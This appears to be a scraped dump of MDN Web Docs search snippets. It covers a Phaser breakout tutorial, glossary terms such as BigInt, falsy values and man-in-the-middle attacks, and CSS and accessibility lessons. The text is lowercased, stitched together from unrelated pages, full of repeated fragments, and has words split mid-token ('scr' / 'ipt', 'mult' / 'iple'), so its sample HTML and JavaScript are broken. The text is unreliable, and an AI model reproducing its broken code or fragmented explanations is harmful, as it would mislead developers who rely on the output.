ipt loops involving window.requestanimationframe. audio for web games audio is an important part of any game -- it adds feedback and atmosphere. web-based audio is maturing fast, but there are still many browser differences to negotiate. this article provides a detailed guide to implementing audio for web games, looking at what works currently across as wide a range of platforms as possible. 2d c...
Initialize the framework - Game development
ntirely on the <canvas> element generated by the framework. ...
...generated by the framework. ...
...rk. using your favourite text editor, create a new html document, save it as index.html, in a sensible location, and add the following code to it: <!doctype html> <html> <head> <meta charset="utf-8" /> <title>gamedev phaser workshop - lesson 01: initialize the framework</title> <style>* { padding: 0; margin: 0; }</style> <scr
ipt src="js/phaser.min.js"></scr
ipt> </head> <body> <scr
ipt> var game = new phaser.game(480, 320, phaser.canvas, null, { preload: preload, create: create, update: update }); function preload() {} function create() {} function update() {} </scr
ipt> </body> </html> downloading the phaser code next, we need to go through the process of downloading the phaser source code and applying it to our html document. this tutorial uses ph...
...aser download page, below the links for the v3 download. go to the phaser download page. choose an option that suits you best -- i would recommend the min.js option as it keeps the source code smaller, and you are unlikely need to go through the source code anyway. save the phaser code inside a /js directory in the same location as your index.html file. update the src value of the first <scr
ipt> element as shown above. walking through what we have so far at this point we have a charset defined, <title> and some basic css in the header to reset the default margin and padding. we also have a <scr
ipt> element to apply the phaser source code to the page. the body contains a second <scr
ipt> element, where we will write the javascr
ipt code to render the game and control it. the <canvas> ...
2D breakout game using Phaser - Game development
next >> in this step-by-step tutorial, we create a simple mobile mdn breakout game written in javascr
ipt, using the phaser framework. every step has editable, live samples available to play with, so you can see what the intermediate stages should look like. you will learn the basics of using the phaser framework to implement fundamental game mechanics like rendering and moving images, collision detection, control mechanisms, framework-specific helper functions, animations and tweens, and winning and losing states. to get the most out of this series of articles you should already have basic to intermediate javascr
ipt knowledge. after working through this tutorial, you should be able to build your own simple web games with phaser. lesson details all the lessons -- and the diff...
... after that, you can pick any framework you like and use it for your projects; we have chosen phaser as it is a good solid framework, with a good supp...
...n move the ball physics bounce off the walls player paddle and controls game over build the brickfield collision detection the score win the game extra lives animations and tweens buttons randomizing gameplay as a note on learning paths -- starting with pure javascr
ipt is the best way to get a solid knowledge of web game development. if you are not already familiar with pure javascr
ipt game development, we would suggest that you first work through this series' counterpart, 2d breakout game using pure javascr
ipt. after that, you can pick any framework you like and use it for your projects; we have chosen phaser as it is a good solid framework, with a good support and community available, and a good set of plugins. frameworks speed up development time and help take care of the ...
... solid framework, with a good support and community available, and a good set of plugins. frameworks speed up development time and help take care of the boring parts, allowing you to concentrate on the fun stuff. however, frameworks are not always perfect, so if something unexpected happens or you want to write some functionality that the framework does not provide, you will need some pure javascr
ipt knowledge. note: this series of articles can be used as material for hands-on game development workshops. you can also make use of the gamedev phaser content kit based on this tutorial if you want to give a talk about game development with phaser. next steps ok, let us get started! head to the first part of the series -- initialize the framework. next >> ...
Visual JS GE - Game development
installation and setup first of all download visual-js from bitbucket. extract the package into your root folder. ...
... installation and setup first of all download visual-js from bitbucket. extract the package into your root folder. ...
...or_to_visual_js found at server_instance/build_from_editor_to_visual_js_file.js. this is a node.js app for local use. if you use editor.js to visually create game objects, you must start the build_from_editor_to_visual_js_file.js when you have finished. this tool will create visual.js in the starter/ directory along with all your game objects. it takes data from the system folder lib/visual_scr
ipts/ and generates your code. resource js objects used for adding images for animation purposes. this is done using server_instance/res.js. you need to put your images in a folder, for example test_res/ , inside project_instance/res/. next, run the command server_instance/node res.js. after this has finished processing, restart the web page by entering the following in the console: resour...
...ath data for all your images. the actual image objects will be created after you add animation to the game objects. this is good because it is memory safe. visual js.exe windows gui freeware only for windows users. contains the following tools. visual_js.exe version 1.0 -- comes with source editor. ml_sys.exe -- multilanguage tool for string labels (smart xml operation; no empty tags). scr
iptingjs.exe -- based on javascr
iptobfuscator.com api. makelib.exe -- neede for font bug fixing. video tutorials pencil component particle virtual kayboard ...
Asynchronous - MDN Web Docs Glossary: Definitions of Web-related terms
the term asynchronous refers to two or more objects or events not existing or happening at the same time (or mult
iple related things happening without waiting for the previous one to complete). in computing, the word "asynchronous" is used in two major contexts. networking and communications asynchronous communication is a method of exchanging messages between two or more parties in which each party receives and processes messages whenever it's convenient or possible to do so, rather than doing so immediately upon rece
ipt. additionally, messages may be sent without waiting for acknowledgement, with the understanding that if a problem occurs, the rec
ipient will request corrections or otherwise handle the situation. for humans, e-mail is an asynchronous communication method; th...
...and both sides can continue to send and receive messages whenever they wish, instead of having to schedule them around each other. ...
...er than doing so at once. and both sides can continue to send and receive messages whenever they wish, instead of having to schedule them around each other. when software communicates asynchronously, a program may make a request for information from another piece of software (such as a server), and continue to do other things while waiting for a reply. for example, the ajax (asynchronous javascr
ipt and xml) programming technique--now usually simply "ajax", even though json is usually used rather than xml in modern applications--is a mechanism that requests relatively small amounts of data from the server using http, with the result being returned when available rather than immediately. software design asynchronous software design expands upon the concept by building code that allows ...
...erformed alongside the original task (or tasks), without stopping to wait for the task to complete. when the secondary task is completed, the original task is notified using an agreed-upon mechanism so that it knows the work is done, and that the result, if any, is available. there are a number of programming techniques for implementing asynchronous software. see the article asynchronous javascr
ipt for an introduction to them. learn more technical reference fetching data from the server (learning area) synchronous ...
BigInt - MDN Web Docs Glossary: Definitions of Web-related terms
in javascr
ipt, bigint is a numeric data type that can represent integers in the arbitrary precision format. in other programming languages different numeric types can exist, for examples: integers, floats, doubles, or bignums. ...
... in javascr
ipt, bigint is a numeric data type that can represent integers in the arbitrary precision format. in other programming languages different numeric types can exist, for examples: integers, floats, doubles, or bignums. ...
... in javascr
ipt, bigint is a numeric data type that can represent integers in the arbitrary precision format. in other programming languages different numeric types can exist, for examples: integers, floats, doubles, or bignums. ...
... in javascr
ipt, bigint is a numeric data type that can represent integers in the arbitrary precision format. in other programming languages different numeric types can exist, for examples: integers, floats, doubles, or bignums. ...
Class - MDN Web Docs Glossary: Definitions of Web-related terms
in object-oriented programming, a class defines an object's characteristics. ...
... in object-oriented programming, a class defines an object's characteristics. ...
...t-oriented programming, a class defines an object's characteristics. ...
... object's characteristics. ...
Compile - MDN Web Docs Glossary: Definitions of Web-related terms
indiciates more than just compilation is done, e.g. packaging it in a binary format. usually, a compiler transforms a higher-level language such as c or java, which humans understand, into a machine language, such as assembly, that the cpu can understand. ...
...re than just compilation is done, e.g. packaging it in a binary format. usually, a compiler transforms a higher-level language such as c or java, which humans understand, into a machine language, such as assembly, that the cpu can understand. some compilers which translate between similar level languages are called transpilers or cross-compilers, for instance to compile from typescr
ipt to javascr
ipt. ...
...compile from typescr
ipt to javascr
ipt. those are considered productivity tools. most compilers work either ahead-of-time (aot) or just-in-time (jit). as a programmer, you usually invoke aot compilers from a command line or your ide. the most famous, "gcc" is one example. jit compilers are usually transparent to you, used for performance. for instance in the browser: firefox' spidermonkey javascr
ipt engine has a jit built-in that will compile javascr
ipt in a website to machine code while you're viewing it so it runs faster. projects like webassembly work on making this even better. ...
...ost famous, "gcc" is one example. jit compilers are usually transparent to you, used for performance. for instance in the browser: firefox' spidermonkey javascr
ipt engine has a jit built-in that will compile javascr
ipt in a website to machine code while you're viewing it so it runs faster. projects like webassembly work on making this even better. ...
Constructor - MDN Web Docs Glossary: Definitions of Web-related terms
a constructor belongs to a particular class object that is instantiated. the constructor initializes this object and can provide access to its private information. the concept of a constructor can be applied to most object-oriented programming languages. essentially, a constructor in javascr
ipt is usually declared at the instance of a class. syntax // this is a generic default constructor class default function default() { } // this is an overloaded constructor class overloaded // with parameter arguments function overloaded(arg1, arg2, ...,argn){ } to call the constructor of the class in javascr
ipt, use a new operator to assign a new object reference to a variable. function default() { } // a new reference of a default object assigned to a // local variable defaultreference v...
...// with parameter arguments function overloaded(arg1, arg2, ...,argn){ } to call the constructor of the class in javascr
ipt, use a new operator to assign a new object reference to a variable. ...
...structor of the class in javascr
ipt, use a new operator to assign a new object reference to a variable. ...
..., use a new operator to assign a new object reference to a variable. ...
Encryption - MDN Web Docs Glossary: Definitions of Web-related terms
since the algorithm is often public, the key must stay secret if the encryption stays secure. without knowing the secret, the reverse operation, decryption, is mathematically hard to perform. ...
...since the algorithm is often public, the key must stay secret if the encryption stays secure. without knowing the secret, the reverse operation, decryption, is mathematically hard to perform. ...
...since the algorithm is often public, the key must stay secret if the encryption stays secure. without knowing the secret, the reverse operation, decryption, is mathematically hard to perform. ...
...since the algorithm is often public, the key must stay secret if the encryption stays secure. without knowing the secret, the reverse operation, decryption, is mathematically hard to perform. ...
Falsy - MDN Web Docs Glossary: Definitions of Web-related terms
there are 8 falsy values: false the keyword false 0 the number zero -0 the number negative zero 0n bigint, when used as a boolean, follows the same rule as a number. 0n is falsy. ...
...sed as a boolean, follows the same rule as a number. 0n is falsy. "" empty string value null null - the absence of any value undefined undefined - the primitive value nan nan - not a number objects are falsy if and only if they have the [[ishtmldda]] internal slot. ...
... 0n is falsy. "" empty string value null null - the absence of any value undefined undefined - the primitive value nan nan - not a number objects are falsy if and only if they have the [[ishtmldda]] internal slot. this slot only exists in document.all and cannot be set using javascr
ipt. ...
... examples examples of falsy values in javascr
ipt (which are coerced to false in boolean contexts, and thus bypass the if block): if (false) if (null) if (undefined) if (0) if (-0) if (0n) if (nan) if ("") the logical and operator, && if the first object is falsy, it returns that object false && "dog" // ? false 0 && "dog" // ? 0 specifications specification ecmascr
ipt (ecma-262)the definition of 'toboolean abstract operation' in that specification. learn more truthy boolean ...
First-class Function - MDN Web Docs Glossary: Definitions of Web-related terms
a programming language is said to have first-class functions when functions in that language are treated like any other variable. for example, in such a language, a function can be passed as an argument to other functions, can be returned by another function and can be assigned as a value to a variable. example | assign a function to a variable javascr
ipt const foo = function() { console.log("foobar"); } // invoke it using the variable foo(); we assigned an anonymous function in a variable, then we used that variable to invoke the function by adding parentheses () at the end. even if your function was named, you can use the variable name to invoke it. naming it will be helpful when debugging your code. but it won't affect the way we invoke it. example | pass a function as...
.../ invoke it using the variable foo(); we assigned an anonymous function in a variable, then we used that variable to invoke the function by adding parentheses () at the end. even if your function was named, you can use the variable name to invoke it. naming it will be helpful when debugging your code. but it won't affect the way we invoke it. example | pass a function as an argument javascr
ipt function sayhello() { return "hello, "; } function greeting(hellomessage, name) { console.log(hellomessage() + name); } // pass `sayhello` as an argument to `greeting` function greeting(sayhello, "javascr
ipt!"); we are passing our sayhello() function as an argument to the greeting() function, this explains how we are treating the function as a value. the function that we pass as an arg...
... a function that returns a function is called a higher-order function. ...
... a function that returns a function is called a higher-order function. back to our example; now, we need to invoke sayhello function and its returned anonymous function. ...
IDL - MDN Web Docs Glossary: Definitions of Web-related terms
an idl (interface descr
iption language) is a generic language used to specified objects' interfaces apart from any specific programming language. content versus idl attributes in html, most attributes have two faces: the content attribute and the idl (interface definition language) attribute. the content attribute is the attribute as you set it from the content (the html code) and you can set it or get it via element.setattribute() or element.getattribute(). the content attribute is always a string even when the expected value should be an integer. for example, to set an <input> element's maxlength to 42 using the content attribute, you have to call setattribute("maxlength", "42") on that element. the idl attribute is also known as a javascr
ipt property. these are the attributes ...
...attribute() or element.getattribute(). the content attribute is always a string even when the expected value should be an integer. for example, to set an <input> element's maxlength to 42 using the content attribute, you have to call setattribute("maxlength", "42") on that element. the idl attribute is also known as a javascr
ipt property. these are the attributes you can read or set using javascr
ipt properties like element.foo. the idl attribute is always going to use (but might transform) the underlying content attribute to return a value when you get it and is going to save something in the content attribute when you set it. in other words, the idl attributes, in essence, reflect the content attributes. most of the time, idl attributes will return their values as they are really used. fo...
... the string "text". idl attributes are not always strings; for example, input.maxlength is a number (a signed long). when using idl attributes, you read or set values of the desired type, so input.maxlength is always going to return a number and when you set input.maxlength ,it wants a number. if you pass another type, it is automatically converted to a number as specified by the standard javascr
ipt rules for type conversion. idl attributes can reflect other types such as unsigned long, urls, booleans, etc. unfortunately, there are no clear rules and the way idl attributes behave in conjunction with their corresponding content attributes depends on the attribute. most of the time, it will follow the rules laid out in the specification, but sometimes it doesn't. html specifications try to m...
...ute. most of the time, it will follow the rules laid out in the specification, but sometimes it doesn't. ...
Method - MDN Web Docs Glossary: Definitions of Web-related terms
a method is a function which is a property of an object. there are two kind of methods: instance methods which are built-in tasks performed by an object instance, or static methods which are tasks that are called directly on an object constructor. ...
...object. there are two kind of methods: instance methods which are built-in tasks performed by an object instance, or static methods which are tasks that are called directly on an object constructor. note: in javascr
ipt functions themselves are objects, so, in that context, a method is actually an object reference to a function. ...
...s: instance methods which are built-in tasks performed by an object instance, or static methods which are tasks that are called directly on an object constructor. note: in javascr
ipt functions themselves are objects, so, in that context, a method is actually an object reference to a function. ...
... tasks that are called directly on an object constructor. note: in javascr
ipt functions themselves are objects, so, in that context, a method is actually an object reference to a function. ...
MitM - MDN Web Docs Glossary: Definitions of Web-related terms
e-middle attack (mitm) intercepts a communication between two systems. for example, a wi-fi router can be compromised. comparing this to physical mail: if you're writing letters to each other, the mailman can intercept each letter you mail. they open it, read it, eventually modify it, and then repackage the letter and only then send it to whom you intended to sent the letter for. ...
...you could be connecting to a phishing server or an imposter server. ...
...etter for. the original rec
ipient would then mail you a letter back, and the mailman would again open the letter, read it, eventually modify it, repackage it, and give it to you. you wouldn't know there's a man in the middle in your communication channel - the mailman is invisible to you and to your rec
ipient. in physical mail and in online communication, mitm attacks are tough to defend. a few t
ips: don't just ignore certificate warnings. you could be connecting to a phishing server or an imposter server. sensitive sites without https encryption on public wi-fi networks aren't trustworthy. check for https in your address bar and ensure encryption is in-place before logging in. ...
...ion, mitm attacks are tough to defend. a few t
ips: don't just ignore certificate warnings. you could be connecting to a phishing server or an imposter server. sensitive sites without https encryption on public wi-fi networks aren't trustworthy. check for https in your address bar and ensure encryption is in-place before logging in. learn more owasp article: man-in-the-middle attack wik
ipedia: man-in-the-middle attack the public-key-pins header (hpkp) can significantly decrease the risk of mitm by instructing browsers to require a whitelisted certificate for all subsequent connections to that website. ...
Number - MDN Web Docs Glossary: Definitions of Web-related terms
in javascr
ipt, number is a numeric data type in the double-precision 64-bit floating point format (ieee 754). in other programming languages different numeric types exist; for example, integers, floats, doubles, or bignums. ...
... in javascr
ipt, number is a numeric data type in the double-precision 64-bit floating point format (ieee 754). in other programming languages different numeric types exist; for example, integers, floats, doubles, or bignums. ...
... in javascr
ipt, number is a numeric data type in the double-precision 64-bit floating point format (ieee 754). in other programming languages different numeric types exist; for example, integers, floats, doubles, or bignums. ...
... in javascr
ipt, number is a numeric data type in the double-precision 64-bit floating point format (ieee 754). in other programming languages different numeric types exist; for example, integers, floats, doubles, or bignums. ...
Object - MDN Web Docs Glossary: Definitions of Web-related terms
object refers to a data structure containing data and instructions for working with the data. objects sometimes refer to real-world things, for example a car or map object in a racing game. ...
... object refers to a data structure containing data and instructions for working with the data. objects sometimes refer to real-world things, for example a car or map object in a racing game. ...
... object refers to a data structure containing data and instructions for working with the data. objects sometimes refer to real-world things, for example a car or map object in a racing game. ...
...ure containing data and instructions for working with the data. objects sometimes refer to real-world things, for example a car or map object in a racing game. javascr
ipt, java, c++, python, and ruby are examples of object-oriented programming languages. ...
Parse - MDN Web Docs Glossary: Definitions of Web-related terms
parsing means analyzing and converting a program into an internal format that a runtime environment can actually run, for example the javascr
ipt engine inside browsers. the browser parses html into a dom tree. html parsing involves tokenization and tree construction. html tokens include start and end tags, as well as attribute names and values. if the document is well-formed, parsing it is straightforward and faster. the parser parses tokenized input into the document, building up the document tree. when the html parser finds non-blocking resources, such as an image, the browser will request those resources and continue parsing. ...
...nd tags, as well as attribute names and values. if the document is well-formed, parsing it is straightforward and faster. the parser parses tokenized input into the document, building up the document tree. when the html parser finds non-blocking resources, such as an image, the browser will request those resources and continue parsing. ...
... <scr
ipt> tags--particularly those without an async or defer attribute--blocks rendering, and pauses parsing of html. when the browser encounters css styles, it parses the text into the css object model (or cssom), a data structure it then uses for styling layouts and painting. the browser then creates a render tree from both these structures to be able to paint the content to the screen. javascr
ipt is also downloaded, parsed, and then execute. javascr
ipt parsing is done during compile time or whenever the parser is invoked, such as during a call to a method. ...
..., a data structure it then uses for styling layouts and painting. the browser then creates a render tree from both these structures to be able to paint the content to the screen. javascr
ipt is also downloaded, parsed, and then execute. ...
Semantics - MDN Web Docs Glossary: Definitions of Web-related terms
would you need to look at the code to understand what the function did if it was called build('peach'), or createliwithcontent('peach')? semantics in css in css, consider styling a list with li elements representing different types of fruits. ...
...would you need to look at the code to understand what the function did if it was called build('peach'), or createliwithcontent('peach')? semantics in css in css, consider styling a list with li elements representing different types of fruits. ...
...would you need to look at the code to understand what the function did if it was called build('peach'), or createliwithcontent('peach')? semantics in css in css, consider styling a list with li elements representing different types of fruits. ...
...o the global site-wide header and footer?; etc. semantic elements these are some of the roughly 100 semantic elements available: <article> <aside> <details> <figcaption> <figure> <footer> <header> <main> <mark> <nav> <section> <summary> <time> learn more html element reference on mdn using html sections and outlines on mdn the meaning of semantics in computer science on wik
ipedia ...
Syntax error - MDN Web Docs Glossary: Definitions of Web-related terms
an exception caused by the incorrect use of a pre-defined syntax. syntax errors are detected while compiling or parsing source code. ...
... an exception caused by the incorrect use of a pre-defined syntax. syntax errors are detected while compiling or parsing source code. ...
... an exception caused by the incorrect use of a pre-defined syntax. syntax errors are detected while compiling or parsing source code. ...
...caused by the incorrect use of a pre-defined syntax. syntax errors are detected while compiling or parsing source code. for example, if you leave off a closing brace (}) when defining a javascr
ipt function, you trigger a syntax error. ...
Array - MDN Web Docs Glossary: Definitions of Web-related terms
an array is an ordered collection of data (either primitive or object depending upon the language). arrays are used to store mult
iple values in a single variable. this is compared to a variable that can store only one value. each item in an array has a number attached to it, called a numeric index, that allows you to access it. in javascr
ipt, arrays start at index zero and can be man
ipulated with various methods. ...
...ther primitive or object depending upon the language). arrays are used to store mult
iple values in a single variable. this is compared to a variable that can store only one value. each item in an array has a number attached to it, called a numeric index, that allows you to access it. in javascr
ipt, arrays start at index zero and can be man
ipulated with various methods. what an array in javascr
ipt looks like: let myarray = [1, 2, 3, 4]; let catnamesarray = ["jacqueline", "sophia", "autumn"]; //arrays in javascr
ipt can hold different types of data, as shown above. ...
...ached to it, called a numeric index, that allows you to access it. in javascr
ipt, arrays start at index zero and can be man
ipulated with various methods. what an array in javascr
ipt looks like: let myarray = [1, 2, 3, 4]; let catnamesarray = ["jacqueline", "sophia", "autumn"]; //arrays in javascr
ipt can hold different types of data, as shown above. ...
...at allows you to access it. in javascr
ipt, arrays start at index zero and can be man
ipulated with various methods. what an array in javascr
ipt looks like: let myarray = [1, 2, 3, 4]; let catnamesarray = ["jacqueline", "sophia", "autumn"]; //arrays in javascr
ipt can hold different types of data, as shown above. ...
Brotli - MDN Web Docs Glossary: Definitions of Web-related terms
brotli is a general-purpose lossless compression algorithm. it compresses data using a combination of a modern variant of the lz77 algorithm, huffman coding, and second-order context modeling, providing a compression ratio comparable to the best currently available general-purpose compression methods. ...
...pression algorithm. it compresses data using a combination of a modern variant of the lz77 algorithm, huffman coding, and second-order context modeling, providing a compression ratio comparable to the best currently available general-purpose compression methods. ...
...t compresses data using a combination of a modern variant of the lz77 algorithm, huffman coding, and second-order context modeling, providing a compression ratio comparable to the best currently available general-purpose compression methods. ...
...ssion methods. brotli provides better compression ratios than gz
ip and deflate speeds are comparable, but brotli compressing is a slower process than gz
ip compression, so gz
ip may be a better option for the compression of non-cachable content. brotli is compatible with most modern browsers, but you may want to consider a fallback. ...
Assessment: Accessibility troubleshooting - Learn web development
previous overview: accessibility in the assessment for this module, we present to you a simple site with a number of accessibility issues that you need to diagnose and fix. prerequisites: basic computer literacy, a basic understanding of html, css, and javascr
ipt, an understanding of the previous articles in the course. objective: to test basic knowledge of accessibility fundamentals. starting point to get this assessment started, you should go and grab the z
ip containing the files that comprise the example. decompress the contents into a new directory somewhere on your local computer. alternatively, you could use a site like jsbin or glitch to do your assessment. you could paste the html, css, and javascr
ipt into one of these online editors. if the ...
...he files that comprise the example. decompress the contents into a new directory somewhere on your local computer. alternatively, you could use a site like jsbin or glitch to do your assessment. you could paste the html, css, and javascr
ipt into one of these online editors. if the online editor you are using doesn't have a separate css/js panel, feel free to put them in appropriate <style> / <scr
ipt> elements. the finished assessment site should look like so: you will see some differences/issues with the display of the starting state of the assessment -- this is mainly due to the differences in the markup, which in turn cause some styling issues as the css is not applied properly. don't worry -- you'll be fixing these problems in the upcoming sections! note: if you get stuck, then ask...
... more ideas for improvements that would make the website more accessible? assessment or further help if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descr
iptive title such as "assessment wanted for accessibility troubleshooting". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. a link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good practice to get into -- it's very hard to help som...
... editor (as mentioned in step 1 above). ...
How CSS works - Learn web development
s. the browser loads the html (e.g. receives it from the network). it converts the html into a dom (document object model). the dom represents the document in the computer's memory. the dom is explained in a bit more detail in the next section. the browser then fetches most of the resources that are linked to by the html document, such as embedded images and videos ... and linked css! javascr
ipt is handled a bit later on in the process, and we won't talk about it here to keep things simpler. the browser parses the fetched css, and sorts the different rules by their selector types into different "buckets", e.g. element, class, id, and so on. based on the selectors it finds, it works out which rules should be applied to which nodes in the dom, and attaches style to them as required (this...
...r in after the rules have been applied to it. the visual display of the page is shown on the screen (this stage is called painting). the following diagram also offers a simple view of the process. about the dom a dom has a tree-like structure. each element, attribute, and piece of text in the markup language becomes a dom node in the tree structure. the nodes are defined by their relationsh
ip to other dom nodes. some elements are parents of child nodes, and child nodes have siblings. understanding the dom helps you design, debug and maintain your css because the dom is where your css and the document's content meet up. when you start working with browser devtools you will be navigating the dom as you select items in order to see which rules apply. a real dom representation rather t...
...e siblings. understanding the dom helps you design, debug and maintain your css because the dom is where your css and the document's content meet up. when you start working with browser devtools you will be navigating the dom as you select items in order to see which rules apply. a real dom representation rather than a long, boring explanation, let's look at an example to see how a real html sn
ippet is converted into a dom. take the following html code: <p> let's use: <span>cascading</span> <span>style</span> <span>sheets</span> </p> in the dom, the node corresponding to our <p> element is a parent. its children are a text node and the three nodes corresponding to our <span> elements. the span nodes are also parents, with text nodes as their children: p +- "let's use:" +- spa...
...an> <span>sheets</span> </p> in the dom, the node corresponding to our <p> element is a parent. its children are a text node and the three nodes corresponding to our <span> elements. the span nodes are also parents, with text nodes as their children: p +- "let's use:" +- span | +- "cascading" +- span | +- "style" +- span +- "sheets" this is how a browser interprets the previous html sn
ippet --it renders the above dom tree and then outputs it in the browser like so: p {margin:0;} applying css to the dom let's say we added some css to our document, to style it. again, the html is as follows: <p> let's use: <span>cascading</span> <span>style</span> <span>sheets</span> </p> let's suppose we apply the following css to it: span { border: 1px solid black; backgroun...
CSS FAQ - Learn web development
commended to use classes as much as possible, and to use ids only when absolutely necessary for specific uses (like to connect label and form elements or for styling elements that must be semantically unique): using classes makes your styling extensible -- even if you only have one element to style with a particular ruleset now, you might want to add more later. classes allow you to style mult
iple elements, therefore they can lead to shorter stylesheets, rather than having to write out the same styling information in mult
iple rules that use id selectors. shorter stylesheets are more performant. class selectors have lower specificity than id selectors, so are easier to override if needed. note: see selectors for more information. how do i restore the default value of a property? in...
...alue for a css property. it resets it to its default value, which is defined in the css specification of the given property. /* heading default color is black */ h1 { color: red; } h1 { color: initial; } how do i derive one style from another? css does not exactly allow one style to be defined in terms of another. (see eric meyer's note about the working group's stance). however, assigning mult
iple classes to a single element can provide the same effect, and css variables now provide a way to define style information in one place that can be reused in mult
iple places. how do i assign mult
iple classes to an element? html elements can be assigned mult
iple classes by listing the classes in the class attribute, with a blank space to separate them. <style type="text/css"> .news { background...
... body, at any hierarchy level, including the .stockup class. so font-weight: bold; applied to the .corpname class is overridden by font-weight: normal; applied to all elements in the body. the use of the * selector should be minimized as it is a slow selector, especially when not used as the first element of a selector. its use should be avoided as much as possible. specificity in css when mult
iple rules apply to a certain element, the rule chosen depends on its style specificity. inline style (in html style attributes) has the highest specificity and will override any selectors, followed by id selectors, then class selectors, and eventually element selectors. the text color of the below <div> will therefore be red. div { color: black; } #orange { color: orange; } .green { color: green; ...
...the highest specificity and will override any selectors, followed by id selectors, then class selectors, and eventually element selectors. the text color of the below <div> will therefore be red. div { color: black; } #orange { color: orange; } .green { color: green; } <div id="orange" class="green" style="color: red;">this is red</div> the rules are more complicated when the selector has mult
iple parts. more detailed information about how selector specificity is calculated can be found in the css 2.1 specification chapter 6.4.3. what do the -moz-*, -ms-*, -webkit-*, -o-* and -khtml-* properties do? these properties, called prefixed properties, are extensions to the css standard. they allow use of experimental and non-standard features in browsers without polluting the regular namespac...
How can we design for all types of users? - Learn web development
prerequisites: you should first read what is accessibility?, since we don't cover accessibility in detail here. objective: universal design means design for everybody, regardless of disabilities or technical constraints. this article lists the most important quick-wins for universal design. summary when you're building a website, one top issue to consider is universal design: accommodating all users regardless of disability, technical constraints, culture, location, and so on. active learning there is no active learning available yet. ...
...rovide the same content in another form in the same page (e.g., complement a pie chart with a table providing the same data), or resort to a longdesc attribute. this attribute's value is a url pointing towards a resource explicitly describing in detail the image's content. note: the use and even the existence of longdesc has been debated for quite some time. ...
...e descr
iption extension (longdesc) for the full explanation and thorough examples. audio/video you must also provide alternatives to multimedia content. subtitling/close-captioning you should include captions in your video to cater to visitors who can't hear the audio. some users have hearing challenges, lack functioning speakers, or work in a noisy environment (like on the train). transcr
ipt subtitles only work if somebody watches the video. many users don't have time, or lack the proper plugin or codec. additionally, search engines rely mainly on text to index your contents. for all these reasons, please provide a text transcr
ipt of the video/audio file. image compression some users may choose to display images, but still have limited bandwidth available, especially in developi...
... reasons, please provide a text transcr
ipt of the video/audio file. image compression some users may choose to display images, but still have limited bandwidth available, especially in developing countries and on mobile devices. if you want a successful website, please compress your images. there are various tools to help you, either online or local: installed software. imageoptim (mac), opt
ipng (all platforms), pngcrush (dos, unix/linux) online tools. yahoo's smushit!, dynamic drive's online image optimizer (which can convert automatically from one format to another if it's more bandwidth-efficient) ...
Common questions - Learn web development
your website on google app engine? looking for a place to host your website? here's a step-by-step guide to hosting your website on google app engine. what tools are available to debug and improve website performance? this set of articles shows you how to use the developer tools in firefox to debug and improve performance of your website, using the tools to check memory usage, the javascr
ipt call tree, the number of dom nodes being rendered, and more. design and accessibility this section lists questions related to aesthetics, page structure, accessibility techniques, etc. how do i start to design my website? this article covers the all-important first step of every project: define what you want to accomplish with it. what do common web layouts contain? when designi...
.... how can we design for all types of users? this article provides basic techniques to help you design websites for any kind of user -- quick accessibility wins, and other such things. ...
...article provides basic techniques to help you design websites for any kind of user -- quick accessibility wins, and other such things. ...
...h things. what html features promote accessibility? this article describes specific features of html that can be used to make a webpage more accessible to people with different disabilities. ...
Styling web forms - Learn web development
some basic styling (such as changing the width or margin of the control) you generally don't have the ability to style the controls' internal components (such as the date picker calendar, or the button on the <select> that causes the options list to display) making up those widgets. if you want to thoroughly customize those widgets, you really have to create your own using html, css, and javascr
ipt. this is beyond the scope of the core form articles, but we do look at this in an advanced article how to build custom form controls. note: there are some proprietary css pseudo-elements available that allow you to style internal components of these form controls, such as ::-moz-range-track, but these are not consistent across browsers, so can't be relied upon. we will mention these later as w...
...rel.com -- download the ttf file into the same directory as above. a handdrawn font: the "journal" font from fontsquirrel.com -- download the ttf file into the same directory as above. your fonts need some more processing before you start: go to the fontsquirrel webfont generator. using the form, upload both your font files and generate a webfont kit. download the kit to your computer. unz
ip the provided z
ip file. inside the unz
ipped contents you will find some font files (at the time of writing, two .woff files and two .woff2 files; they might vary in the future.) copy these files into a directory called fonts, in the same directory as before. we are using two different files for each font to maximise browser compatibility; see our web fonts article for a lot more information. th...
... tweaking the textareas <textarea> elements default to being rendered as an inline-block element. the two important things here are the resize and overflow properties. while our design is a fixed-size design, and we could use the resize property to prevent users from resizing our multi-line text field, it i...
...e "bad" and "ugly" categories. ...
Using data attributes - Learn web development
). html syntax the syntax is simple. any attribute on any element whose attribute name starts with data- is a data attribute. say you have an article and you want to store some extra information that doesn't have any visual representation. just use data attributes for that: <article id="electric-cars" data-columns="3" data-index-number="12314" data-parent="cars"> ... </article> javascr
ipt access reading the values of these attributes out in javascr
ipt is also very simple. you could use getattribute() with their full html name to read them, but the standard defines a simpler way: a domstringmap you can read out via a dataset property. to get a data attribute through the dataset object, get the property by the part of the attribute name after data- (note that dashes are converted...
...arent); } you can also use the attribute selectors in css to change styles according to the data: article[data-columns='3'] { width: 400px; } article[data-columns='4'] { width: 600px; } you can see all this working together in this jsbin example. data attributes can also be stored to contain information that is constantly changing, like scores in a game. using the css selectors and javascr
ipt access here this allows you to build some nifty effects without having to write your own display routines. see this screencast for an example using generated content and css transitions (jsbin example). data values are strings. number values must be quoted in the selector for the styling to take effect. issues do not store content that should be visible and accessible in data attributes, beca...
... ...
... ...
HTML table advanced features and accessibility - Learn web development
bles. adding a caption to your table with <caption> you can give your table a caption by putting it inside a <caption> element and nesting that inside the <table> element. you should put it just below the opening <table> tag. <table> <caption>dinosaurs in the jurassic period</caption> ... </table> as you can infer from the brief example above, the caption is meant to contain a descr
iption of the table contents. this is useful for all readers wishing to get a quick idea of whether the table is useful to them as they scan the page, but particularly for blind users. rather than have a screenreader read out the contents of many cells just to find out what the table is about, he or she can rely on a caption and then decide whether or not to read the table in greater detail. a capt...
...an the page, but particularly for blind users. rather than have a screenreader read out the contents of many cells just to find out what the table is about, he or she can rely on a caption and then decide whether or not to read the table in greater detail. a caption is placed directly beneath the <table> tag. note: the summary attribute can also be used on the <table> element to provide a descr
iption -- this is also read out by screenreaders. we'd recommend using the <caption> element instead, however, as summary is deprecated by the html5 spec, and can't be read by sighted users (it doesn't appear on the page.) active learning: adding a caption let's try this out, revisiting an example we first met in the previous article. open up your language teacher's school timetable from the e...
